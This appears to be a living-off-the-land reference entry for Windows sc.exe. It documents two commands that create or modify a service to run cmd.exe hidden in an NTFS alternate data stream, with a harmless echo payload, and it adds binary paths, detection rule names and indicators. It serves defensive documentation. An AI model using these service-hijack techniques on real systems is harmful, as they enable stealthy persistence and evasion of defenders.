01 / TRADECRAFT
2 examplesCommand reference
ADS2
EXAMPLE 01T1564.004
Creates a new service and executes the file stored in the ADS.
COMMAND
sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilserviceEXAMPLE 02T1564.004
Modifies an existing service and executes the file stored in the ADS.
COMMAND
sc config {ExistingServiceName} binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" & sc start {ExistingServiceName}02 / ON DISK
Known paths
C:\Windows\System32\sc.exeC:\Windows\SysWOW64\sc.exe03 / DEFENSIVE INTELLIGENCE
5 resourcesDetection & indicators
- Sigmaproc_creation_win_susp_service_creation.ymlgithub.com
- Sigmaproc_creation_win_sc_change_sevice_image_path_by_non_admin.ymlgithub.com
- Sigmaproc_creation_win_sc_service_path_modification.ymlgithub.com
- Splunksc_exe_manipulating_windows_services.ymlgithub.com
- Elasticlateral_movement_cmd_service.tomlgithub.com
Indicators & detection notes
- IOC
Unexpected service creation
- IOC
Unexpected service modification
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Oddvar Moe@oddvarmoe